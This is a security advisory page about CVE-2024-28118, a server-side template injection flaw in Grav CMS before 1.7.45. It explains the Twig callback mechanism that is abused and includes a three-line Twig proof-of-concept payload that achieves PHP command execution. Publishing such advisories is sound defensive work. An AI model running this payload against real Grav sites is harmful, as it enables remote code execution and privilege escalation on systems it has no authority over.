High

Server Side Template Injection (SSTI)

  • Disclosed: 22.03.2024
  • Updated: 11.10.2026 10:22

Summary

Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.

Details

The twig context has a function declared called getFunction.

php
public function getFunction($name)
    {
        if (!$this->extensionInitialized) {
            $this->initExtensions();
        }

        if (isset($this->functions[$name])) {
            return $this->functions[$name];
        }

        foreach ($this->functions as $pattern => $function) {
            $pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);

            if ($count) {
                if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
                    array_shift($matches);
                    $function->setArguments($matches);

                    return $function;
                }
            }
        }

        foreach ($this->functionCallbacks as $callback) {
            if (false !== $function = \call_user_func($callback, $name)) {
                return $function;
            }
        }

        return false;
    }

This function, if the value of $name does not exist in $this->functions, uses call_user_func to execute callback functions stored in $this->functionCallbacks.

It is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.

The default function callback is as follows:

php
$this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) {
                $allowed = $config->get('system.twig.safe_functions');
                if (is_array($allowed) and in_array($name, $allowed, true) and function_exists($name)) {
                    return new TwigFunction($name, $name);
                }
                if ($config->get('system.twig.undefined_functions')) {
                    if (function_exists($name)) {
                        if (!Utils::isDangerousFunction($name)) {
                            user_error("PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_functions`", E_USER_DEPRECATED);

                            return new TwigFunction($name, $name);
                        }

                        /** @var Debugger $debugger */
                        $debugger = $this->grav['debugger'];
                        $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: `system.twig.safe_functions`"));
                    }

                    return new TwigFunction($name, static function () {});
                }

                return false;
            });

If you look at this function, if the value of system.twig.undefined_functions is false, it returns false. In that case, it is possible for our registered callback to be executed.

At this time, the Grav\Common\Config\Config class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefined_functions to false. As a result, an attacker can execute any arbitrarily registered callback function.

PoC

{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}
{% set a = grav.config.set('system.twig.undefined_functions',false) %}
{{ grav.twig.twig.getFunction('id') }}

image

Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package getgrav/grav < 1.7.45 1.7.45

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Composer
Package
getgrav/grav
Disclosed
22.03.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-r6vw-8v8r-pmp4 - CC BY 4.0

Vulnerability history: getgrav/grav

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (99) in the archive
Total entries
99
First → latest
11.2019 09.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 47
  • Medium 41
  • Low 4

Disclosures per year

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Severity:
  1. Server Side Template Injection (SSTI) this entry
    High · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
  2. High · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  3. High CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  4. High · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
Show more (20) Showing 21 of 54

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.